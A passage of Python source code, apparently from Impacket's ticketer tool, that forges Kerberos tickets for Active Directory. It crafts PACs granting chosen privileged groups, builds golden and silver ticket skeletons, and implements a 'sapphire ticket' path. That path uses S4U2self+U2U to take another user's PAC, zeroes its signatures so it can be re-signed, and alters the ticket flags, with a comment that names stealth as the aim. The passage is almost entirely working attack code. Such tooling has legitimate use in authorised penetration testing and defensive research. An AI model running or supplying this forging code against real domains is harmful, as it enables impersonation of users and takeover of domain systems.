PAC_CLIENT_INFO, KERB_VALIDATION_INFO, UPN_DNS_INFO_FULL, PAC_REQUESTOR_INFO, PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR, \\\n    PAC_ATTRIBUTE_INFO\nfrom impacket.krb5.types import KerberosTime, Principal\nfrom impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS\n\nfrom impacket.krb5 import constants, pac\nfrom impacket.krb5.asn1 import AP_REQ, TGS_REQ, Authenticator, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1\nfrom impacket.krb5.crypto import _HMACMD5, _AES256CTS, string_to_key\nfrom impacket.krb5.kerberosv5 import sendReceive\nfrom impacket.krb5.types import Ticket\nfrom impacket.winregistry import hexdump\n\nclass TICKETER:\n    def __init__(self, target, password, domain, options):\n        self.__password = password\n        self.__target = target\n        self.__domain = domain\n        self.__options = options\n        self.__tgt = None\n        self.__tgt_session_key = None\n        if options.spn:\n            spn = options.spn.split('/')\n            self.__service = spn[0]\n            self.__server = spn[1]\n            if options.keytab is not None:\n                self.loadKeysFromKeytab(options.keytab)\n\n        # we are creating a golden ticket\n        else:\n            self.__service = 'krbtgt'\n            self.__server = self.__domain\n\n    @staticmethod\n    def getFileTime(t):\n        t *= 10000000\n        t += 116444736000000000\n        return t\n\n    @staticmethod\n    def getPadLength(data_length):\n        return ((data_length + 7) // 8 * 8) - data_length\n\n    @staticmethod\n    def getBlockLength(data_length):\n        return (data_length + 7) // 8 * 8\n\n    def loadKeysFromKeytab(self, filename):\n        keytab = Keytab.loadFile(filename)\n        keyblock = keytab.getKey(\"%s@%s\" % (options.spn, self.__domain))\n        if keyblock:\n            if keyblock[\"keytype\"] == Enctype.AES256 or keyblock[\"keytype\"] == Enctype.AES128:\n                options.aesKey = keyblock.hexlifiedValue()\n            elif keyblock[\"keytype\"] == Enctype.RC4:\n                options.nthash = keyblock.hexlifiedValue()\n        else:\n            logging.warning(\"No matching key for SPN '%s' in given keytab found!\", options.spn)\n\n    def createBasicValidationInfo(self):\n        # 1) KERB_VALIDATION_INFO\n        kerbdata = KERB_VALIDATION_INFO()\n\n        aTime = timegm(datetime.datetime.now(datetime.timezone.utc).timetuple())\n        unixTime = self.getFileTime(aTime)\n\n        kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff\n        kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32\n\n        # LogoffTime: A FILETIME structure that contains the time the client's logon\n        # session should expire. If the session should not expire, this structure\n        # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime\n        # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as\n        # an indicator of when to warn the user that the allowed time is due to expire.\n        kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF\n        kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF\n\n        # KickOffTime: A FILETIME structure that contains LogoffTime minus the user\n        # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the\n        # client should not be logged off, this structure SHOULD have the dwHighDateTime\n        # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.\n        # The Kerberos service ticket end time is a replacement for KickOffTime.\n        # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of\n        # an account. A recipient of the PAC SHOULD<8> use this value as the indicator\n        # of when the client should be forcibly disconnected.\n        kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF\n        kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF\n\n        kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff\n        kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32\n\n        kerbdata['PasswordCanChange']['dwLowDateTime'] = 0\n        kerbdata['PasswordCanChange']['dwHighDateTime'] = 0\n\n        # PasswordMustChange: A FILETIME structure that contains the time at which\n        # theclient's password expires. If the password will not expire, this\n        # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the\n        # dwLowDateTime member set to 0xFFFFFFFF.\n        kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF\n        kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF\n\n        kerbdata['EffectiveName'] = self.__target\n        kerbdata['FullName'] = ''\n        kerbdata['LogonScript'] = ''\n        kerbdata['ProfilePath'] = ''\n        kerbdata['HomeDirectory'] = ''\n        kerbdata['HomeDirectoryDrive'] = ''\n        kerbdata['LogonCount'] = 500\n        kerbdata['BadPasswordCount'] = 0\n        kerbdata['UserId'] = int(self.__options.user_id)\n\n        # Our Golden Well-known groups! :)\n        groups = self.__options.groups.split(',')\n        if len(groups) == 0:\n            # PrimaryGroupId must be set, default to 513 (Domain User)\n            kerbdata['PrimaryGroupId'] = 513\n        else:\n            # Using first group as primary group\n            kerbdata['PrimaryGroupId'] = int(groups[0])\n        kerbdata['GroupCount'] = len(groups)\n\n        for group in groups:\n            groupMembership = GROUP_MEMBERSHIP()\n            groupId = NDRULONG()\n            groupId['Data'] = int(group)\n            groupMembership['RelativeId'] = groupId\n            groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED\n            kerbdata['GroupIds'].append(groupMembership)\n\n        kerbdata['UserFlags'] = 0\n        kerbdata['UserSessionKey'] = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        kerbdata['LogonServer'] = ''\n        kerbdata['LogonDomainName'] = self.__domain.upper()\n        kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid)\n        kerbdata['LMKey'] = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD\n        kerbdata['SubAuthStatus'] = 0\n        kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0\n        kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0\n        kerbdata['LastFailedILogon']['dwLowDateTime'] = 0\n        kerbdata['LastFailedILogon']['dwHighDateTime'] = 0\n        kerbdata['FailedILogonCount'] = 0\n        kerbdata['Reserved3'] = 0\n\n        kerbdata['ResourceGroupDomainSid'] = NULL\n        kerbdata['ResourceGroupCount'] = 0\n        kerbdata['ResourceGroupIds'] = NULL\n\n        validationInfo = VALIDATION_INFO()\n        validationInfo['Data'] = kerbdata\n\n        return validationInfo\n\n    def createBasicPac(self, kdcRep):\n        validationInfo = self.createBasicValidationInfo()\n        pacInfos = {}\n        pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents()\n        srvCheckSum = PAC_SIGNATURE_DATA()\n        privCheckSum = PAC_SIGNATURE_DATA()\n\n        if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value:\n            srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value\n            privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value\n            srvCheckSum['Signature'] = b'\\x00' * 16\n            privCheckSum['Signature'] = b'\\x00' * 16\n        else:\n            srvCheckSum['Signature'] = b'\\x00' * 12\n            privCheckSum['Signature'] = b'\\x00' * 12\n            if len(self.__options.aesKey) == 64:\n                srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value\n                privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value\n            else:\n                srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value\n                privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value\n\n        pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData()\n        pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData()\n\n        clientInfo = PAC_CLIENT_INFO()\n        clientInfo['Name'] = self.__target.encode('utf-16le')\n        clientInfo['NameLength'] = len(clientInfo['Name'])\n        pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData()\n\n        if self.__options.extra_pac:\n            self.createUpnDnsPac(pacInfos)\n\n        if self.__options.old_pac is False:\n            self.createAttributesInfoPac(pacInfos)\n            self.createRequestorInfoPac(pacInfos)\n\n        return pacInfos\n\n    def createUpnDnsPac(self, pacInfos):\n        upnDnsInfo = UPN_DNS_INFO_FULL()\n\n        PAC_pad = b'\\x00' * self.getPadLength(len(upnDnsInfo))\n        upn_data = f\"{self.__target.lower()}@{self.__domain.lower()}\".encode(\"utf-16-le\")\n        upnDnsInfo['UpnLength'] = len(upn_data)\n        upnDnsInfo['UpnOffset'] = len(upnDnsInfo) + len(PAC_pad)\n        total_len = upnDnsInfo['UpnOffset'] + upnDnsInfo['UpnLength']\n        pad = self.getPadLength(total_len)\n        upn_data += b'\\x00' * pad\n\n        dns_name = self.__domain.upper().encode(\"utf-16-le\")\n        upnDnsInfo['DnsDomainNameLength'] = len(dns_name)\n        upnDnsInfo['DnsDomainNameOffset'] = total_len + pad\n        total_len = upnDnsInfo['DnsDomainNameOffset'] + upnDnsInfo['DnsDomainNameLength']\n        pad = self.getPadLength(total_len)\n        dns_name += b'\\x00' * pad\n\n        # Enable additional data mode (Sam + SID)\n        upnDnsInfo['Flags'] = 2\n\n        samName = self.__target.encode(\"utf-16-le\")\n        upnDnsInfo['SamNameLength'] = len(samName)\n        upnDnsInfo['SamNameOffset'] = total_len + pad\n        total_len = upnDnsInfo['SamNameOffset'] + upnDnsInfo['SamNameLength']\n        pad = self.getPadLength(total_len)\n        samName += b'\\x00' * pad\n\n        user_sid = SID()\n        user_sid.fromCanonical(f\"{self.__options.domain_sid}-{self.__options.user_id}\")\n        upnDnsInfo['SidLength'] = len(user_sid)\n        upnDnsInfo['SidOffset'] = total_len + pad\n        total_len = upnDnsInfo['SidOffset'] + upnDnsInfo['SidLength']\n        pad = self.getPadLength(total_len)\n        user_data = user_sid.getData() + b'\\x00' * pad\n\n        # Post-PAC data\n        post_pac_data = upn_data + dns_name + samName + user_data\n        # Pac data building\n        pacInfos[PAC_UPN_DNS_INFO] = upnDnsInfo.getData() + PAC_pad + post_pac_data\n\n    @staticmethod\n    def createAttributesInfoPac(pacInfos):\n        pacAttributes = PAC_ATTRIBUTE_INFO()\n        pacAttributes[\"FlagsLength\"] = 2\n        pacAttributes[\"Flags\"] = 1\n\n        pacInfos[PAC_ATTRIBUTES_INFO] = pacAttributes.getData()\n\n    def createRequestorInfoPac(self, pacInfos):\n        pacRequestor = PAC_REQUESTOR()\n        pacRequestor['UserSid'] = SID()\n        pacRequestor['UserSid'].fromCanonical(f\"{self.__options.domain_sid}-{self.__options.user_id}\")\n\n        pacInfos[PAC_REQUESTOR_INFO] = pacRequestor.getData()\n\n    def createBasicTicket(self):\n        if self.__options.request is True:\n            if self.__domain == self.__server:\n                logging.info('Requesting TGT to target domain to use as basis')\n            else:\n                logging.info('Requesting TGT/TGS to target domain to use as basis')\n\n            if self.__options.hashes is not None:\n                lmhash, nthash = self.__options.hashes.split(':')\n            else:\n                lmhash = ''\n                nthash = ''\n            userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value)\n            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,\n                                                                    unhexlify(lmhash), unhexlify(nthash), None,\n                                                                    self.__options.dc_ip)\n            self.__tgt, self.__tgt_cipher, self.__tgt_session_key = tgt, cipher, sessionKey\n            if self.__domain == self.__server:\n                kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]\n            else:\n                serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value)\n                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher,\n                                                                        sessionKey)\n                kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]\n\n            # Let's check we have all the necessary data based on the ciphers used. Boring checks\n            ticketCipher = int(kdcRep['ticket']['enc-part']['etype'])\n            encPartCipher = int(kdcRep['enc-part']['etype'])\n\n            if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \\\n                            self.__options.nthash is None:\n                logging.critical('rc4_hmac is used in this ticket and you haven\\'t specified the -nthash parameter. '\n                                 'Can\\'t continue ( or try running again w/o the -request option)')\n                return None, None\n\n            if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or\n                encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \\\n                self.__options.aesKey is None:\n                logging.critical(\n                    'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\\'t specified the -aesKey parameter. '\n                    'Can\\'t continue (or try running again w/o the -request option)')\n                return None, None\n\n            if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or\n                encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \\\n                self.__options.aesKey is not None and len(self.__options.aesKey) > 32:\n                logging.critical(\n                    'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. '\n                    'Can\\'t continue (or try running again w/o the -request option)')\n                return None, None\n\n            if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or\n                 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None:\n                logging.critical(\n                    'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\\'t specified the -aesKey parameter. '\n                    'Can\\'t continue (or try running again w/o the -request option)')\n                return None, None\n\n            if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or\n                 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \\\n                 self.__options.aesKey is not None and len(self.__options.aesKey) < 64:\n                logging.critical(\n                    'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. '\n                    'Can\\'t continue')\n                return None, None\n            kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value\n            kdcRep['cname']['name-string'] = noValue\n            kdcRep['cname']['name-string'][0] = self.__options.impersonate or self.__target\n\n        else:\n            logging.info('Creating basic skeleton ticket and PAC Infos')\n            if self.__domain == self.__server:\n                kdcRep = AS_REP()\n                kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value\n            else:\n                kdcRep = TGS_REP()\n                kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value\n            kdcRep['pvno'] = 5\n            if self.__options.nthash is None:\n                kdcRep['padata'] = noValue\n                kdcRep['padata'][0] = noValue\n                kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value\n\n                etype2 = ETYPE_INFO2()\n                etype2[0] = noValue\n                if len(self.__options.aesKey) == 64:\n                    etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value\n                else:\n                    etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value\n                etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target)\n                encodedEtype2 = encoder.encode(etype2)\n\n                kdcRep['padata'][0]['padata-value'] = encodedEtype2\n\n            kdcRep['crealm'] = self.__domain.upper()\n            kdcRep['cname'] = noValue\n            kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value\n            kdcRep['cname']['name-string'] = noValue\n            kdcRep['cname']['name-string'][0] = self.__target\n\n            kdcRep['ticket'] = noValue\n            kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value\n            kdcRep['ticket']['realm'] = self.__domain.upper()\n            kdcRep['ticket']['sname'] = noValue\n            kdcRep['ticket']['sname']['name-string'] = noValue\n            kdcRep['ticket']['sname']['name-string'][0] = self.__service\n\n            if self.__domain == self.__server:\n                kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value\n                kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper()\n            else:\n                kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value\n                kdcRep['ticket']['sname']['name-string'][1] = self.__server\n\n            kdcRep['ticket']['enc-part'] = noValue\n            kdcRep['ticket']['enc-part']['kvno'] = 2\n            kdcRep['enc-part'] = noValue\n            if self.__options.nthash is None:\n                if len(self.__options.aesKey) == 64:\n                    kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value\n                    kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value\n                else:\n                    kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value\n                    kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value\n            else:\n                kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value\n                kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value\n\n            kdcRep['enc-part']['kvno'] = 2\n            kdcRep['enc-part']['cipher'] = noValue\n\n        pacInfos = self.createBasicPac(kdcRep)\n\n        return kdcRep, pacInfos\n\n\n    def getKerberosS4U2SelfU2U(self):\n        tgt = self.__tgt\n        cipher = self.__tgt_cipher\n        sessionKey = self.__tgt_session_key\n        kdcHost = self.__options.dc_ip\n\n        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]\n        # Extract the ticket from the TGT\n        ticket = Ticket()\n        ticket.from_asn1(decodedTGT['ticket'])\n\n        apReq = AP_REQ()\n        apReq['pvno'] = 5\n        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n        opts = list()\n        apReq['ap-options'] = constants.encodeFlags(opts)\n        seq_set(apReq, 'ticket', ticket.to_asn1)\n\n        authenticator = Authenticator()\n        authenticator['authenticator-vno'] = 5\n        authenticator['crealm'] = str(decodedTGT['crealm'])\n\n        clientName = Principal()\n        clientName.from_asn1(decodedTGT, 'crealm', 'cname')\n\n        seq_set(authenticator, 'cname', clientName.components_to_asn1)\n\n        now = datetime.datetime.now(datetime.timezone.utc)\n        authenticator['cusec'] = now.microsecond\n        authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('AUTHENTICATOR')\n            print(authenticator.prettyPrint())\n            print('\\n')\n\n        encodedAuthenticator = encoder.encode(authenticator)\n\n        # Key Usage 7\n        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes\n        # TGS authenticator subkey), encrypted with the TGS session\n        # key (Section 5.5.1)\n        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)\n\n        apReq['authenticator'] = noValue\n        apReq['authenticator']['etype'] = cipher.enctype\n        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n        encodedApReq = encoder.encode(apReq)\n\n        tgsReq = TGS_REQ()\n\n        tgsReq['pvno'] = 5\n        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)\n\n        tgsReq['padata'] = noValue\n        tgsReq['padata'][0] = noValue\n        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)\n        tgsReq['padata'][0]['padata-value'] = encodedApReq\n\n        # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service\n        # requests a service ticket to itself on behalf of a user. The user is\n        # identified to the KDC by the user's name and realm.\n        clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n\n        S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)\n        S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos'\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('S4UByteArray')\n            hexdump(S4UByteArray)\n\n        # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash\n        # with the following three parameters: the session key of the TGT of\n        # the service performing the S4U2Self request, the message type value\n        # of 17, and the byte array S4UByteArray.\n        checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('CheckSum')\n            hexdump(checkSum)\n\n        paForUserEnc = PA_FOR_USER_ENC()\n        seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)\n        paForUserEnc['userRealm'] = self.__domain\n        paForUserEnc['cksum'] = noValue\n        paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)\n        paForUserEnc['cksum']['checksum'] = checkSum\n        paForUserEnc['auth-package'] = 'Kerberos'\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('PA_FOR_USER_ENC')\n            print(paForUserEnc.prettyPrint())\n\n        encodedPaForUserEnc = encoder.encode(paForUserEnc)\n\n        tgsReq['padata'][1] = noValue\n        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)\n        tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc\n\n        reqBody = seq_set(tgsReq, 'req-body')\n\n        opts = list()\n        opts.append(constants.KDCOptions.forwardable.value)\n        opts.append(constants.KDCOptions.renewable.value)\n        opts.append(constants.KDCOptions.canonicalize.value)\n        opts.append(constants.KDCOptions.renewable_ok.value)\n        opts.append(constants.KDCOptions.enc_tkt_in_skey.value)\n\n        reqBody['kdc-options'] = constants.encodeFlags(opts)\n\n        serverName = Principal(self.__options.user, self.__options.domain, type=constants.PrincipalNameType.NT_UNKNOWN.value)\n\n        seq_set(reqBody, 'sname', serverName.components_to_asn1)\n        reqBody['realm'] = str(decodedTGT['crealm'])\n\n        now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)\n\n        reqBody['till'] = KerberosTime.to_asn1(now)\n        reqBody['nonce'] = random.getrandbits(31)\n        seq_set_iter(reqBody, 'etype',\n                     (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))\n\n        seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),))\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('Final TGS')\n            print(tgsReq.prettyPrint())\n\n        message = encoder.encode(tgsReq)\n        r = sendReceive(message, self.__domain, kdcHost)\n        return r, None, sessionKey, None\n\n\n    def customizeTicket(self, kdcRep, pacInfos):\n        logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))\n\n        ticketDuration = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(hours=int(self.__options.duration))\n\n        if self.__options.impersonate:\n            # Doing Sapphire Ticket\n            # todo : in its actual form, ticketer is limited to the PAC structures that are supported in impacket.\n            #  Unsupported structures will be ignored. The PAC is not completely copy-pasted here.\n\n            # 1. S4U2Self + U2U\n            logging.info('\\tRequesting S4U2self+U2U to obtain %s\\'s PAC' % self.__options.impersonate)\n            tgs, cipher, oldSessionKey, sessionKey = self.getKerberosS4U2SelfU2U()\n\n            # 2. extract PAC\n            logging.info('\\tDecrypting ticket & extracting PAC')\n            decodedTicket = decoder.decode(tgs, asn1Spec=TGS_REP())[0]\n            cipherText = decodedTicket['ticket']['enc-part']['cipher']\n            newCipher = _enctype_table[int(decodedTicket['ticket']['enc-part']['etype'])]\n            plainText = newCipher.decrypt(self.__tgt_session_key, 2, cipherText)\n            encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]\n\n            # Let's extend the ticket's validity a lil bit\n            # I don't think this part should be left in the code. The whole point of doing a sapphire ticket is stealth, extending ticket duration is not the way to go\n            # encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)\n            # encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)\n\n            # Opening PAC\n            adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0]\n            pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets())\n            pacInfos = dict()\n            buff = pacType['Buffers']\n\n            # clearing the signatures so that we can sign&encrypt later on\n            AttributesInfoPacInS4UU2UPAC = False\n            RequestorInfoPacInS4UU2UPAC = False\n            logging.info(\"\\tClearing signatures\")\n            for bufferN in range(pacType['cBuffers']):\n                infoBuffer = pac.PAC_INFO_BUFFER(buff)\n                data = pacType['Buffers'][infoBuffer['Offset'] - 8:][:infoBuffer['cbBufferSize']]\n                buff = buff[len(infoBuffer):]\n                if infoBuffer['ulType'] in [PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM]:\n                    checksum = PAC_SIGNATURE_DATA(data)\n                    if checksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:\n                        checksum['Signature'] = '\\x00' * 12\n                    elif checksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:\n                        checksum['Signature'] = '\\x00' * 12\n                    else:\n                        checksum['Signature'] = '\\x00' * 16\n                    pacInfos[infoBuffer['ulType']] = checksum.getData()\n                elif infoBuffer['ulType'] == PAC_ATTRIBUTES_INFO:\n                    AttributesInfoPacInS4UU2UPAC = True\n                    pacInfos[infoBuffer['ulType']] = data\n                elif infoBuffer['ulType'] == PAC_REQUESTOR_INFO:\n                    RequestorInfoPacInS4UU2UPAC = True\n                    pacInfos[infoBuffer['ulType']] = data\n                else:\n                    pacInfos[infoBuffer['ulType']] = data\n\n            # adding the Requestor and Attributes structures manually if they were not in the S4U2self+U2U ticket's PAC\n            if self.__options.old_pac is False and not AttributesInfoPacInS4UU2UPAC:\n                self.createAttributesInfoPac(pacInfos)\n            if self.__options.old_pac is False and not RequestorInfoPacInS4UU2UPAC:\n                if self.__options.user_id == \"500\":\n                    logging.warning(\"User ID is 500, which is Impacket's default. If you specified -user-id, you can ignore this message. \"\n                        \"If you didn't, and you get a KDC_ERR_TGT_REVOKED error when using the ticket, you will need to specify the -user-id \"\n                        \"with the RID of the target user to impersonate\")\n                self.createRequestorInfoPac(pacInfos)\n\n            # changing ticket flags to match TGT / ST\n            logging.info(\"\\tAdding necessary ticket flags\")\n            originalFlags = [i for i, x in enumerate(list(encTicketPart['flags'].asBinary())) if x == '1']\n            flags = originalFlags\n            newFlags = [TicketFlags.forwardable.value, TicketFlags.proxiable.value, TicketFlags.renewable.value, TicketFlags.pre_authent.value]\n            if self.__domain == self.__server:\n                newFlags.append(TicketFlags.initial.value)\n            for newFlag in newFlags:\n                if newFlag not in originalFlags:\n                    flags.append(newFlag)\n            encTicketPart['flags'] = encodeFlags(flags)\n\n            # changing key type to match what the TGT we obtained\n            logging.info(\"\\tChanging keytype\")\n            encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']\n            if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:\n                encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])\n            elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:\n                encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])\n            else:\n                encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])\n\n        else:\n            encTicketPart = EncTicketPart()\n\n            flags = list()\n            flags.append(TicketFlags.forwardable.value)\n            flags.append(TicketFlags.proxiable.value)\n            flags.append(TicketFlags.renewable.value)\n            if self.__domain == self.__server:\n                flags.append(TicketFlags.initial.value)\n            flags.append(TicketFlags.pre_authent.value)\n            encTicketPart['flags'] = encodeFlags(flags)\n            encTicketPart['key'] = noValue\n            encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']\n\n            if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:\n                encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])\n            elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:\n                encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])\n            else:\n                encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])\n\n            encTicketPart['crealm'] = self.__domain.upper()\n            encTicketPart['cname'] = noValue\n            encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value\n            encTicketPart['cname']['name-string'] = noValue\n            encTicketPart['cname']['name-string'][0] = self.__target\n\n            encTicketPart['transited'] = noValue\n            encTicketPart['transited']['tr-type'] = 0\n            encTicketPart['transited']['contents'] = ''\n            encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc))\n            encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc))\n            # Let's extend the ticket's validity a lil bit\n            encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)\n            encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)\n            encTicketPart['authorization-data'] = noValue\n            encTicketPart['authorization-data'][0] = noValue\n            encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value\n            encTicketPart['authorization-data'][0]['ad-data'] = noValue\n\n            # Let's locate the KERB_VALIDATION_INFO and Checksums\n            if PAC_LOGON_INFO in pacInfos:\n                data = pacInfos[PAC_LOGON_INFO]\n                validationInfo = VALIDATION_INFO()\n                validationInfo.fromString(pacInfos[PAC_LOGON_INFO])\n                lenVal = len(validationInfo.getData())\n                validationInfo.fromStringReferents(data, lenVal)\n\n                aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))\n\n                unixTime = self.getFileTime(aTime)\n\n                kerbdata = KERB_VALIDATION_INFO()\n\n                kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff\n                kerbdata['LogonTime']['dwHighDateTime'] = 